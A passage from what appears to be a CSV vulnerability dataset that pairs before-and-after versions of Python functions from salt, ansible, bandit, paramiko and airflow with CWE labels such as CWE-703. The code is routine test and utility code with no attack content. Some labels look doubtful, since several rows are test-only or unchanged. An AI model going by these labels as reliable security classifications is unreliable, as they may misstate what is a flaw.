        assert not bool(files)",CWE-703,saltstack/salt,04a432ed33cfd683b01f63e5d9d85d4bb2ad8153,"def test_gen_thin_ext_alternative_content_files_written_py3(self):
        '''
        Test thin.gen_thin function if external alternative content files are written.
        NOTE: Py2 version of this test is not required, as code shares the same spot across the versions.

        :return:
        '''
        thin.gen_thin('')
        files = ['namespace/pyall/root/r1', 'namespace/pyall/root/r2', 'namespace/pyall/root/r3',
                 'namespace/pyall/root2/r4', 'namespace/pyall/root2/r5', 'namespace/pyall/root2/r6',
                 'namespace/pyall/root/r1', 'namespace/pyall/root/r2', 'namespace/pyall/root/r3',
                 'namespace/pyall/root2/r4', 'namespace/pyall/root2/r5', 'namespace/pyall/root2/r6',
                 'namespace/py27/root/r1', 'namespace/py27/root/r2', 'namespace/py27/root/r3',
                 'namespace/py27/root2/r4', 'namespace/py27/root2/r5', 'namespace/py27/root2/r6'
        ]
        for idx, cl in enumerate(thin.tarfile.open().method_calls[12:-5]):
            arcname = cl[2].get('arcname')
            assert arcname in files
            files.pop(files.index(arcname))
        assert not bool(files)"
,UNKNOWN,UNKNOWN,tests/unit/test_loader.py,1,"def test_loader_globals(self):
        """"""
        Test to ensure loaders do not edit
        each others loader's namespace
        """"""
        self.loader1.pack[""__foo__""] = ""bar1""
        func1 = self.loader1[""test.ping""]

        self.loader2.pack[""__foo__""] = ""bar2""
        func2 = self.loader2[""test.ping""]
        token = salt.loader_context.loader_ctxvar.set(self.loader1)
        try:
            assert func1.__globals__[""__foo__""].value() == ""bar1""
        finally:
            salt.loader_context.loader_ctxvar.reset(token)
        token = salt.loader_context.loader_ctxvar.set(self.loader2)
        try:
            assert func2.__globals__[""__foo__""].value() == ""bar2""
        finally:
            salt.loader_context.loader_ctxvar.reset(token)",CWE-703,saltstack/salt,7cdf5fd1a99b5cae179ddee4e396990d7af9c009,"def test_loader_globals(self):
        """"""
        Test to ensure loaders do not edit
        each others loader's namespace
        """"""
        self.loader1.pack[""__foo__""] = ""bar1""
        func1 = self.loader1[""test.ping""]

        self.loader2.pack[""__foo__""] = ""bar2""
        func2 = self.loader2[""test.ping""]
        token = salt.loader_context.loader_ctxvar.set(self.loader1)
        try:
            assert func1.__globals__[""__foo__""].value() == ""bar1""
        finally:
            salt.loader_context.loader_ctxvar.reset(token)
        salt.loader_context.loader_ctxvar.set(self.loader2)
        try:
            assert func2.__globals__[""__foo__""].value() == ""bar2""
        finally:
            salt.loader_context.loader_ctxvar.reset(token)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/ec2.py,0,"def ansible_dict_to_boto3_filter_list(filters_dict):

    """""" Convert an Ansible dict of filters to list of dicts that boto3 can use
    Args:
        filters_dict (dict): Dict of AWS filters.
    Basic Usage:
        >>> filters = {'some-aws-id', 'i-01234567'}
        >>> ansible_dict_to_boto3_filter_list(filters)
        {
            'some-aws-id': 'i-01234567'
        }
    Returns:
        List: List of AWS filters and their values
        [
            {
                'Name': 'some-aws-id',
                'Values': [
                    'i-01234567',
                ]
            }
        ]
    """"""

    filters_list = []
    for k,v in filters_dict.items():
        filter_dict = {'Name': k}
        if isinstance(v, string_types):
            filter_dict['Values'] = [v]
        else:
            filter_dict['Values'] = v

        filters_list.append(filter_dict)

    return filters_list",,ansible/ansible,fd1debb86961d95b3b7f34e6df32ff30da3ee1ce,"def ansible_dict_to_boto3_filter_list(filters_dict):

    """""" Convert an Ansible dict of filters to list of dicts that boto3 can use
    Args:
        filters_dict (dict): Dict of AWS filters.
    Basic Usage:
        >>> filters = {'some-aws-id', 'i-01234567'}
        >>> ansible_dict_to_boto3_filter_list(filters)
        {
            'some-aws-id': 'i-01234567'
        }
    Returns:
        List: List of AWS filters and their values
        [
            {
                'Name': 'some-aws-id',
                'Values': [
                    'i-01234567',
                ]
            }
        ]
    """"""

    filters_list = []
    for k,v in filters_dict.items():
        filter_dict = {'Name': k}
        if isinstance(v, string_types):
            filter_dict['Values'] = [v]
        else:
            filter_dict['Values'] = v

        filters_list.append(filter_dict)

    return filters_list"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/manager.py,0,"def discover_files(self, targets, recursive=False, excluded_paths=''):
        '''Add tests directly and from a directory to the test set

        :param targets: The command line list of files and directories
        :param recursive: True/False - whether to add all files from dirs
        :return:
        '''
        # We'll mantain a list of files which are added, and ones which have
        # been explicitly excluded
        files_list = set()
        excluded_files = set()

        excluded_path_globs = self.b_conf.get_option('exclude_dirs') or []
        included_globs = self.b_conf.get_option('include') or ['*.py']

        # if there are command line provided exclusions add them to the list
        if excluded_paths:
            for path in excluded_paths.split(','):
                if os.path.isdir(path):
                    path = os.path.join(path, '*')

                excluded_path_globs.append(path)

        # build list of files we will analyze
        for fname in targets:
            # if this is a directory and recursive is set, find all files
            if os.path.isdir(fname):
                if recursive:
                    new_files, newly_excluded = _get_files_from_dir(
                        fname,
                        included_globs=included_globs,
                        excluded_path_strings=excluded_path_globs
                    )
                    files_list.update(new_files)
                    excluded_files.update(newly_excluded)
                else:
                    LOG.warning(""Skipping directory (%s), use -r flag to ""
                                ""scan contents"", fname)

            else:
                # if the user explicitly mentions a file on command line,
                # we'll scan it, regardless of whether it's in the included
                # file types list
                if _is_file_included(fname, included_globs,
                                     excluded_path_globs,
                                     enforce_glob=False):
                    files_list.add(fname)
                else:
                    excluded_files.add(fname)

        self.files_list = sorted(files_list)
        self.excluded_files = sorted(excluded_files)",UNKNOWN,PyCQA/bandit,047e6bfc90cf27e736aaeb9ca7a0bac4fad4f8b8,"def discover_files(self, targets, recursive=False, excluded_paths=''):
        '''Add tests directly and from a directory to the test set

        :param targets: The command line list of files and directories
        :param recursive: True/False - whether to add all files from dirs
        :return:
        '''
        # We'll mantain a list of files which are added, and ones which have
        # been explicitly excluded
        files_list = set()
        excluded_files = set()

        excluded_path_globs = self.b_conf.get_option('exclude_dirs') or []
        included_globs = self.b_conf.get_option('include') or ['*.py']

        # if there are command line provided exclusions add them to the list
        if excluded_paths:
            for path in excluded_paths.split(','):
                excluded_path_globs.append(path)

        # build list of files we will analyze
        for fname in targets:
            # if this is a directory and recursive is set, find all files
            if os.path.isdir(fname):
                if recursive:
                    new_files, newly_excluded = _get_files_from_dir(
                        fname,
                        included_globs=included_globs,
                        excluded_path_strings=excluded_path_globs
                    )
                    files_list.update(new_files)
                    excluded_files.update(newly_excluded)
                else:
                    LOG.warning(""Skipping directory (%s), use -r flag to ""
                                ""scan contents"", fname)

            else:
                # if the user explicitly mentions a file on command line,
                # we'll scan it, regardless of whether it's in the included
                # file types list
                if _is_file_included(fname, included_globs,
                                     excluded_path_globs,
                                     enforce_glob=False):
                    files_list.add(fname)
                else:
                    excluded_files.add(fname)

        self.files_list = sorted(files_list)
        self.excluded_files = sorted(excluded_files)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_transport.py,0,"def check_channel_request(self, kind, chanid):
        if kind == 'bogus':
            return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
        return OPEN_SUCCEEDED",,paramiko/paramiko,94c20181dd8073e0cdbc83973c87e89c5f472d80,"def check_channel_request(self, kind, chanid):
        if kind == 'bogus':
            return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
        return OPEN_SUCCEEDED"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,devel-common/src/tests_common/pytest_plugin.py,0,"def dag_maker(request) -> Generator[DagMaker, None, None]:
    """"""
    Fixture to help create DAG, DagModel, and SerializedDAG automatically.

    You have to use the dag_maker as a context manager and it takes
    the same argument as DAG::

        with dag_maker(dag_id=""mydag"") as dag:
            task1 = EmptyOperator(task_id=""mytask"")
            task2 = EmptyOperator(task_id=""mytask2"")

    If the DagModel you want to use needs different parameters than the one
    automatically created by the dag_maker, you have to update the DagModel as below::

        dag_maker.dag_model.is_active = False
        session.merge(dag_maker.dag_model)
        session.commit()

    For any test you use the dag_maker, make sure to create a DagRun::

        dag_maker.create_dagrun()

    The dag_maker.create_dagrun takes the same arguments as dag.create_dagrun

    If you want to operate on serialized DAGs, then either pass
    ``serialized=True`` to the ``dag_maker()`` call, or you can mark your
    test/class/file with ``@pytest.mark.need_serialized_dag(True)``. In both of
    these cases the ``dag`` returned by the context manager will be a
    lazily-evaluated proxy object to the SerializedDAG.
    """"""
    import lazy_object_proxy

    # IMPORTANT: Delay _all_ imports from `airflow.*` to _inside a method_.
    # This fixture is ""called"" early on in the pytest collection process, and
    # if we import airflow.* here the wrong (non-test) config will be loaded
    # and ""baked"" in to various constants
    from tests_common.test_utils.version_compat import AIRFLOW_V_3_0_PLUS

    want_serialized = False
    want_activate_assets = True  # Only has effect if want_serialized=True on Airflow 3.

    # Allow changing default serialized behaviour with `@pytest.mark.need_serialized_dag` or
    # `@pytest.mark.need_serialized_dag(False)`
    if serialized_marker := request.node.get_closest_marker(""need_serialized_dag""):
        (want_serialized,) = serialized_marker.args or (True,)
    if serialized_marker := request.node.get_closest_marker(""want_activate_assets""):
        (want_activate_assets,) = serialized_marker.args or (True,)

    from airflow.utils.log.logging_mixin import LoggingMixin
    from airflow.utils.types import NOTSET

    class DagFactory(LoggingMixin, DagMaker):
        _own_session = False

        def __init__(self):
            from airflow.models import DagBag

            # Keep all the serialized dags we've created in this test
            self.dagbag = DagBag(os.devnull, include_examples=False, read_dags_from_db=False)

        def __enter__(self):
            self.serialized_model = None

            self.dag.__enter__()
            if self.want_serialized:

                class DAGProxy(lazy_object_proxy.Proxy):
                    # Make `@dag.task` decorator work when need_serialized_dag marker is set
                    task = self.dag.task

                return DAGProxy(self._serialized_dag)
            return self.dag

        def _serialized_dag(self):
            return self.serialized_model.dag

        def get_serialized_data(self):
            try:
                data = self.serialized_model.data
            except AttributeError:
                raise RuntimeError(""DAG serialization not requested"")
            if isinstance(data, str):
                return json.loads(data)
            return data

        def _bag_dag_compat(self, dag):
            # This is a compatibility shim for the old bag_dag method in Airflow <3.0
            # TODO: Remove this when we drop support for Airflow <3.0 in Providers
            if hasattr(dag, ""parent_dag""):
                return self.dagbag.bag_dag(dag, root_dag=dag)
            return self.dagbag.bag_dag(dag)

        def _activate_assets(self):
            from sqlalchemy import select

            from airflow.jobs.scheduler_job_runner import SchedulerJobRunner
            from airflow.models.asset import AssetModel, DagScheduleAssetReference, TaskOutletAssetReference

            assets = self.session.scalars(
                select(AssetModel).where(
                    AssetModel.consuming_dags.any(DagScheduleAssetReference.dag_id == self.dag.dag_id)
                    | AssetModel.producing_tasks.any(TaskOutletAssetReference.dag_id == self.dag.dag_id)
                )
            ).all()
            SchedulerJobRunner._activate_referenced_assets(assets, session=self.session)

        def __exit__(self, type, value, traceback):
            from airflow.models import DagModel
            from airflow.models.serialized_dag import SerializedDagModel

            dag = self.dag
            dag.__exit__(type, value, traceback)
            if type is not None:
                return

            dag.clear(session=self.session)
            if AIRFLOW_V_3_0_PLUS:
                dag.bulk_write_to_db(self.bundle_name, None, [dag], session=self.session)
            else:
                dag.sync_to_db(session=self.session)

            if dag.access_control:
                if AIRFLOW_V_3_0_PLUS:
                    from airflow.providers.fab.www.security_appless import ApplessAirflowSecurityManager
                else:
                    from airflow.www.security_appless import ApplessAirflowSecurityManager

                security_manager = ApplessAirflowSecurityManager(session=self.session)
                security_manager.sync_perm_for_dag(dag.dag_id, dag.access_control)
            self.dag_model = self.session.get(DagModel, dag.dag_id)

            if self.want_serialized:
                self.serialized_model = SerializedDagModel(dag)
                sdm = SerializedDagModel.get(dag.dag_id, session=self.session)

                if AIRFLOW_V_3_0_PLUS and not sdm:
                    from airflow.models.dag_version import DagVersion
                    from airflow.models.dagcode import DagCode

                    dagv = DagVersion.write_dag(
                        dag_id=dag.dag_id,
                        bundle_name=self.dag_model.bundle_name,
                        bundle_version=self.dag_model.bundle_version,
                        session=self.session,
                    )
                    self.session.add(dagv)
                    self.session.flush()
                    dag_code = DagCode(dagv, dag.fileloc, ""Source"")
                    self.session.merge(dag_code)
                    self.serialized_model.dag_version = dagv
                    if self.want_activate_assets:
                        self._activate_assets()
                if sdm:
                    sdm._SerializedDagModel__data_cache = (
                        self.serialized_model._SerializedDagModel__data_cache
                    )
                    sdm._data = self.serialized_model._data
                    self.serialized_model = sdm
                else:
                    self.session.merge(self.serialized_model)
                serialized_dag = self._serialized_dag()
                self._bag_dag_compat(serialized_dag)

                self.session.flush()
            else:
                self._bag_dag_compat(self.dag)

        def create_dagrun(self, *, logical_date=NOTSET, **kwargs):
            from airflow.utils import timezone
            from airflow.utils.state import DagRunState
            from airflow.utils.types import DagRunType

            if AIRFLOW_V_3_0_PLUS:
                from airflow.utils.types import DagRunTriggeredByType
            else:
                DagRunType.ASSET_TRIGGERED = DagRunType.DATASET_TRIGGERED

            if ""execution_date"" in kwargs:
                warnings.warn(
                    ""'execution_date' parameter is preserved only for backward compatibility with Airflow 2 ""
                    ""and will be removed in future version. In Airflow 3, use logical_date instead."",
                    DeprecationWarning,
                    stacklevel=2,
                )
                logical_date = kwargs.pop(""execution_date"")

            dag = self.dag
            kwargs = {
                ""state"": DagRunState.RUNNING,
                ""start_date"": self.start_date,
                ""session"": self.session,
                **kwargs,
            }

            run_type = kwargs.get(""run_type"", DagRunType.MANUAL)
            if not isinstance(run_type, DagRunType):
                run_type = DagRunType(run_type)

            if logical_date is None:
                # Explicit non requested
                logical_date = None
            elif logical_date is NOTSET:
                if run_type == DagRunType.MANUAL:
                    logical_date = self.start_date
                else:
                    logical_date = dag.next_dagrun_info(None).logical_date
            logical_date = timezone.coerce_datetime(logical_date)

            data_interval = None
            try:
                data_interval = kwargs[""data_interval""]
            except KeyError:
                if logical_date is not None:
                    if run_type == DagRunType.MANUAL:
                        data_interval = dag.timetable.infer_manual_data_interval(run_after=logical_date)
                    else:
                        data_interval = dag.infer_automated_data_interval(logical_date)
            kwargs[""data_interval""] = data_interval

            if ""run_id"" not in kwargs:
                if ""run_type"" not in kwargs:
                    kwargs[""run_id""] = ""test""
                else:
                    if AIRFLOW_V_3_0_PLUS:
                        kwargs[""run_id""] = dag.timetable.generate_run_id(
                            run_type=run_type,
                            run_after=logical_date or timezone.coerce_datetime(timezone.utcnow()),
                            data_interval=data_interval,
                        )
                    else:
                        kwargs[""run_id""] = dag.timetable.generate_run_id(
                            run_type=run_type,
                            logical_date=logical_date or timezone.coerce_datetime(timezone.utcnow()),
                            data_interval=data_interval,
                        )
            kwargs[""run_type""] = run_type

            if AIRFLOW_V_3_0_PLUS:
                kwargs.setdefault(""triggered_by"", DagRunTriggeredByType.TEST)
                kwargs[""logical_date""] = logical_date
                kwargs.setdefault(""dag_version"", None)
                kwargs.setdefault(""run_after"", data_interval[-1] if data_interval else timezone.utcnow())
            else:
                kwargs.pop(""dag_version"", None)
                kwargs.pop(""triggered_by"", None)
                kwargs[""execution_date""] = logical_date

            if self.want_serialized:
                dag = self.serialized_model.dag
            self.dag_run = dag.create_dagrun(**kwargs)
            for ti in self.dag_run.task_instances:
                # This need to always operate on the _real_ dag
                ti.refresh_from_task(self.dag.get_task(ti.task_id))
            if self.want_serialized:
                self.session.commit()
            return self.dag_run

        def create_dagrun_after(self, dagrun, **kwargs):
            next_info = self.dag.next_dagrun_info(self.dag.get_run_data_interval(dagrun))
            if next_info is None:
                raise ValueError(f""cannot create run after {dagrun}"")
            return self.create_dagrun(
                logical_date=next_info.logical_date,
                data_interval=next_info.data_interval,
                **kwargs,
            )

        def sync_dagbag_to_db(self):
            if not AIRFLOW_V_3_0_PLUS:
                self.dagbag.sync_to_db()
                return

            self.dagbag.sync_to_db(
                self.bundle_name,
                None,
            )

        def __call__(
            self,
            dag_id=""test_dag"",
            schedule=timedelta(days=1),
            serialized=want_serialized,
            activate_assets=want_activate_assets,
            fileloc=None,
            relative_fileloc=None,
            bundle_name=None,
            session=None,
            **kwargs,
        ):
            from airflow import settings
            from airflow.models.dag import DAG
            from airflow.utils import timezone

            if session is None:
                self._own_session = True
                session = settings.Session()

            self.kwargs = kwargs
            self.session = session
            self.start_date = self.kwargs.get(""start_date"", None)
            default_args = kwargs.get(""default_args"", None)
            if default_args and not self.start_date:
                if ""start_date"" in default_args:
                    self.start_date = default_args.get(""start_date"")
            if not self.start_date:
                if hasattr(request.module, ""DEFAULT_DATE""):
                    self.start_date = getattr(request.module, ""DEFAULT_DATE"")
                else:
                    DEFAULT_DATE = timezone.datetime(2016, 1, 1)
                    self.start_date = DEFAULT_DATE
            self.kwargs[""start_date""] = self.start_date
            # Set schedule argument to explicitly set value, or a default if no
            # other scheduling arguments are set.
            self.dag = DAG(dag_id, schedule=schedule, **self.kwargs)
            self.dag.fileloc = fileloc or request.module.__file__
            if AIRFLOW_V_3_0_PLUS:
                self.dag.relative_fileloc = relative_fileloc or Path(request.module.__file__).name
            self.want_serialized = serialized
            self.want_activate_assets = activate_assets
            self.bundle_name = bundle_name or ""dag_maker""
            if AIRFLOW_V_3_0_PLUS:
                from airflow.models.dagbundle import DagBundleModel

                if (
                    self.session.query(DagBundleModel).filter(DagBundleModel.name == self.bundle_name).count()
                    == 0
                ):
                    self.session.add(DagBundleModel(name=self.bundle_name))
                    self.session.commit()

            return self

        def cleanup(self):
            from airflow.models import DagModel, DagRun, TaskInstance
            from airflow.models.serialized_dag import SerializedDagModel
            from airflow.models.taskmap import TaskMap
            from airflow.utils.retries import run_with_db_retries

            from tests_common.test_utils.compat import AssetEvent

            if AIRFLOW_V_3_0_PLUS:
                from airflow.models.xcom import XComModel as XCom
            else:
                from airflow.models.xcom import XCom

            for attempt in run_with_db_retries(logger=self.log):
                with attempt:
                    dag_ids = list(self.dagbag.dag_ids)
                    if not dag_ids:
                        return
                    # To isolate problems here with problems from elsewhere on the session object
                    self.session.rollback()

                    if AIRFLOW_V_3_0_PLUS:
                        from airflow.models.dag_version import DagVersion

                        self.session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                        self.session.query(TaskInstance).filter(TaskInstance.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                        self.session.query(DagVersion).filter(DagVersion.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False
                        )
                    else:
                        self.session.query(SerializedDagModel).filter(
                            SerializedDagModel.dag_id.in_(dag_ids)
                        ).delete(synchronize_session=False)
                        self.session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                        self.session.query(TaskInstance).filter(TaskInstance.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                    self.session.query(XCom).filter(XCom.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(DagModel).filter(DagModel.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(TaskMap).filter(TaskMap.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(AssetEvent).filter(AssetEvent.source_dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.commit()
                    if self._own_session:
                        self.session.expunge_all()

    factory = DagFactory()

    try:
        yield factory
    finally:
        factory.cleanup()
        with suppress(AttributeError):
            del factory.session",CWE-Unknown,apache/airflow,25c4b6bf1bed14d15122f2fe8bffef0ed3767bb0,"def dag_maker(request) -> Generator[DagMaker, None, None]:
    """"""
    Fixture to help create DAG, DagModel, and SerializedDAG automatically.

    You have to use the dag_maker as a context manager and it takes
    the same argument as DAG::

        with dag_maker(dag_id=""mydag"") as dag:
            task1 = EmptyOperator(task_id=""mytask"")
            task2 = EmptyOperator(task_id=""mytask2"")

    If the DagModel you want to use needs different parameters than the one
    automatically created by the dag_maker, you have to update the DagModel as below::

        dag_maker.dag_model.is_active = False
        session.merge(dag_maker.dag_model)
        session.commit()

    For any test you use the dag_maker, make sure to create a DagRun::

        dag_maker.create_dagrun()

    The dag_maker.create_dagrun takes the same arguments as dag.create_dagrun

    If you want to operate on serialized DAGs, then either pass
    ``serialized=True`` to the ``dag_maker()`` call, or you can mark your
    test/class/file with ``@pytest.mark.need_serialized_dag(True)``. In both of
    these cases the ``dag`` returned by the context manager will be a
    lazily-evaluated proxy object to the SerializedDAG.
    """"""
    import lazy_object_proxy

    # IMPORTANT: Delay _all_ imports from `airflow.*` to _inside a method_.
    # This fixture is ""called"" early on in the pytest collection process, and
    # if we import airflow.* here the wrong (non-test) config will be loaded
    # and ""baked"" in to various constants
    from tests_common.test_utils.version_compat import AIRFLOW_V_3_0_PLUS

    want_serialized = False
    want_activate_assets = True  # Only has effect if want_serialized=True on Airflow 3.

    # Allow changing default serialized behaviour with `@pytest.mark.need_serialized_dag` or
    # `@pytest.mark.need_serialized_dag(False)`
    if serialized_marker := request.node.get_closest_marker(""need_serialized_dag""):
        (want_serialized,) = serialized_marker.args or (True,)
    if serialized_marker := request.node.get_closest_marker(""want_activate_assets""):
        (want_activate_assets,) = serialized_marker.args or (True,)

    from airflow.utils.log.logging_mixin import LoggingMixin

    class DagFactory(LoggingMixin, DagMaker):
        _own_session = False

        def __init__(self):
            from airflow.models import DagBag

            # Keep all the serialized dags we've created in this test
            self.dagbag = DagBag(os.devnull, include_examples=False, read_dags_from_db=False)

        def __enter__(self):
            self.serialized_model = None

            self.dag.__enter__()
            if self.want_serialized:

                class DAGProxy(lazy_object_proxy.Proxy):
                    # Make `@dag.task` decorator work when need_serialized_dag marker is set
                    task = self.dag.task

                return DAGProxy(self._serialized_dag)
            return self.dag

        def _serialized_dag(self):
            return self.serialized_model.dag

        def get_serialized_data(self):
            try:
                data = self.serialized_model.data
            except AttributeError:
                raise RuntimeError(""DAG serialization not requested"")
            if isinstance(data, str):
                return json.loads(data)
            return data

        def _bag_dag_compat(self, dag):
            # This is a compatibility shim for the old bag_dag method in Airflow <3.0
            # TODO: Remove this when we drop support for Airflow <3.0 in Providers
            if hasattr(dag, ""parent_dag""):
                return self.dagbag.bag_dag(dag, root_dag=dag)
            return self.dagbag.bag_dag(dag)

        def _activate_assets(self):
            from sqlalchemy import select

            from airflow.jobs.scheduler_job_runner import SchedulerJobRunner
            from airflow.models.asset import AssetModel, DagScheduleAssetReference, TaskOutletAssetReference

            assets = self.session.scalars(
                select(AssetModel).where(
                    AssetModel.consuming_dags.any(DagScheduleAssetReference.dag_id == self.dag.dag_id)
                    | AssetModel.producing_tasks.any(TaskOutletAssetReference.dag_id == self.dag.dag_id)
                )
            ).all()
            SchedulerJobRunner._activate_referenced_assets(assets, session=self.session)

        def __exit__(self, type, value, traceback):
            from airflow.models import DagModel
            from airflow.models.serialized_dag import SerializedDagModel

            dag = self.dag
            dag.__exit__(type, value, traceback)
            if type is not None:
                return

            dag.clear(session=self.session)
            if AIRFLOW_V_3_0_PLUS:
                dag.bulk_write_to_db(self.bundle_name, None, [dag], session=self.session)
            else:
                dag.sync_to_db(session=self.session)

            if dag.access_control:
                if AIRFLOW_V_3_0_PLUS:
                    from airflow.providers.fab.www.security_appless import ApplessAirflowSecurityManager
                else:
                    from airflow.www.security_appless import ApplessAirflowSecurityManager

                security_manager = ApplessAirflowSecurityManager(session=self.session)
                security_manager.sync_perm_for_dag(dag.dag_id, dag.access_control)
            self.dag_model = self.session.get(DagModel, dag.dag_id)

            if self.want_serialized:
                self.serialized_model = SerializedDagModel(dag)
                sdm = SerializedDagModel.get(dag.dag_id, session=self.session)

                if AIRFLOW_V_3_0_PLUS and not sdm:
                    from airflow.models.dag_version import DagVersion
                    from airflow.models.dagcode import DagCode

                    dagv = DagVersion.write_dag(
                        dag_id=dag.dag_id,
                        bundle_name=self.dag_model.bundle_name,
                        bundle_version=self.dag_model.bundle_version,
                        session=self.session,
                    )
                    self.session.add(dagv)
                    self.session.flush()
                    dag_code = DagCode(dagv, dag.fileloc, ""Source"")
                    self.session.merge(dag_code)
                    self.serialized_model.dag_version = dagv
                    if self.want_activate_assets:
                        self._activate_assets()
                if sdm:
                    sdm._SerializedDagModel__data_cache = (
                        self.serialized_model._SerializedDagModel__data_cache
                    )
                    sdm._data = self.serialized_model._data
                    self.serialized_model = sdm
                else:
                    self.session.merge(self.serialized_model)
                serialized_dag = self._serialized_dag()
                self._bag_dag_compat(serialized_dag)

                self.session.flush()
            else:
                self._bag_dag_compat(self.dag)

        def create_dagrun(self, *, logical_date=None, **kwargs):
            from airflow.utils import timezone
            from airflow.utils.state import DagRunState
            from airflow.utils.types import NOTSET, DagRunType

            if AIRFLOW_V_3_0_PLUS:
                from airflow.utils.types import DagRunTriggeredByType
            else:
                DagRunType.ASSET_TRIGGERED = DagRunType.DATASET_TRIGGERED

            if ""execution_date"" in kwargs:
                warnings.warn(
                    ""'execution_date' parameter is preserved only for backward compatibility with Airflow 2 ""
                    ""and will be removed in future version. In Airflow 3, use logical_date instead."",
                    DeprecationWarning,
                    stacklevel=2,
                )
                logical_date = kwargs.pop(""execution_date"")

            dag = self.dag
            kwargs = {
                ""state"": DagRunState.RUNNING,
                ""start_date"": self.start_date,
                ""session"": self.session,
                **kwargs,
            }

            run_type = kwargs.get(""run_type"", DagRunType.MANUAL)
            if not isinstance(run_type, DagRunType):
                run_type = DagRunType(run_type)

            if logical_date is NOTSET:
                # Explicit non requested
                logical_date = None
            elif logical_date is None:
                if run_type == DagRunType.MANUAL:
                    logical_date = self.start_date
                else:
                    logical_date = dag.next_dagrun_info(None).logical_date
            logical_date = timezone.coerce_datetime(logical_date)

            data_interval = None
            try:
                data_interval = kwargs[""data_interval""]
            except KeyError:
                if logical_date is not None:
                    if run_type == DagRunType.MANUAL:
                        data_interval = dag.timetable.infer_manual_data_interval(run_after=logical_date)
                    else:
                        data_interval = dag.infer_automated_data_interval(logical_date)
            kwargs[""data_interval""] = data_interval

            if ""run_id"" not in kwargs:
                if ""run_type"" not in kwargs:
                    kwargs[""run_id""] = ""test""
                else:
                    if AIRFLOW_V_3_0_PLUS:
                        kwargs[""run_id""] = dag.timetable.generate_run_id(
                            run_type=run_type,
                            run_after=logical_date or timezone.coerce_datetime(timezone.utcnow()),
                            data_interval=data_interval,
                        )
                    else:
                        kwargs[""run_id""] = dag.timetable.generate_run_id(
                            run_type=run_type,
                            logical_date=logical_date or timezone.coerce_datetime(timezone.utcnow()),
                            data_interval=data_interval,
                        )
            kwargs[""run_type""] = run_type

            if AIRFLOW_V_3_0_PLUS:
                kwargs.setdefault(""triggered_by"", DagRunTriggeredByType.TEST)
                kwargs[""logical_date""] = logical_date
                kwargs.setdefault(""dag_version"", None)
                kwargs.setdefault(""run_after"", data_interval[-1] if data_interval else timezone.utcnow())
            else:
                kwargs.pop(""dag_version"", None)
                kwargs.pop(""triggered_by"", None)
                kwargs[""execution_date""] = logical_date

            if self.want_serialized:
                dag = self.serialized_model.dag
            self.dag_run = dag.create_dagrun(**kwargs)
            for ti in self.dag_run.task_instances:
                # This need to always operate on the _real_ dag
                ti.refresh_from_task(self.dag.get_task(ti.task_id))
            if self.want_serialized:
                self.session.commit()
            return self.dag_run

        def create_dagrun_after(self, dagrun, **kwargs):
            next_info = self.dag.next_dagrun_info(self.dag.get_run_data_interval(dagrun))
            if next_info is None:
                raise ValueError(f""cannot create run after {dagrun}"")
            return self.create_dagrun(
                logical_date=next_info.logical_date,
                data_interval=next_info.data_interval,
                **kwargs,
            )

        def sync_dagbag_to_db(self):
            if not AIRFLOW_V_3_0_PLUS:
                self.dagbag.sync_to_db()
                return

            self.dagbag.sync_to_db(
                self.bundle_name,
                None,
            )

        def __call__(
            self,
            dag_id=""test_dag"",
            schedule=timedelta(days=1),
            serialized=want_serialized,
            activate_assets=want_activate_assets,
            fileloc=None,
            relative_fileloc=None,
            bundle_name=None,
            session=None,
            **kwargs,
        ):
            from airflow import settings
            from airflow.models.dag import DAG
            from airflow.utils import timezone

            if session is None:
                self._own_session = True
                session = settings.Session()

            self.kwargs = kwargs
            self.session = session
            self.start_date = self.kwargs.get(""start_date"", None)
            default_args = kwargs.get(""default_args"", None)
            if default_args and not self.start_date:
                if ""start_date"" in default_args:
                    self.start_date = default_args.get(""start_date"")
            if not self.start_date:
                if hasattr(request.module, ""DEFAULT_DATE""):
                    self.start_date = getattr(request.module, ""DEFAULT_DATE"")
                else:
                    DEFAULT_DATE = timezone.datetime(2016, 1, 1)
                    self.start_date = DEFAULT_DATE
            self.kwargs[""start_date""] = self.start_date
            # Set schedule argument to explicitly set value, or a default if no
            # other scheduling arguments are set.
            self.dag = DAG(dag_id, schedule=schedule, **self.kwargs)
            self.dag.fileloc = fileloc or request.module.__file__
            if AIRFLOW_V_3_0_PLUS:
                self.dag.relative_fileloc = relative_fileloc or Path(request.module.__file__).name
            self.want_serialized = serialized
            self.want_activate_assets = activate_assets
            self.bundle_name = bundle_name or ""dag_maker""
            if AIRFLOW_V_3_0_PLUS:
                from airflow.models.dagbundle import DagBundleModel

                if (
                    self.session.query(DagBundleModel).filter(DagBundleModel.name == self.bundle_name).count()
                    == 0
                ):
                    self.session.add(DagBundleModel(name=self.bundle_name))
                    self.session.commit()

            return self

        def cleanup(self):
            from airflow.models import DagModel, DagRun, TaskInstance
            from airflow.models.serialized_dag import SerializedDagModel
            from airflow.models.taskmap import TaskMap
            from airflow.utils.retries import run_with_db_retries

            from tests_common.test_utils.compat import AssetEvent

            if AIRFLOW_V_3_0_PLUS:
                from airflow.models.xcom import XComModel as XCom
            else:
                from airflow.models.xcom import XCom

            for attempt in run_with_db_retries(logger=self.log):
                with attempt:
                    dag_ids = list(self.dagbag.dag_ids)
                    if not dag_ids:
                        return
                    # To isolate problems here with problems from elsewhere on the session object
                    self.session.rollback()

                    if AIRFLOW_V_3_0_PLUS:
                        from airflow.models.dag_version import DagVersion

                        self.session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
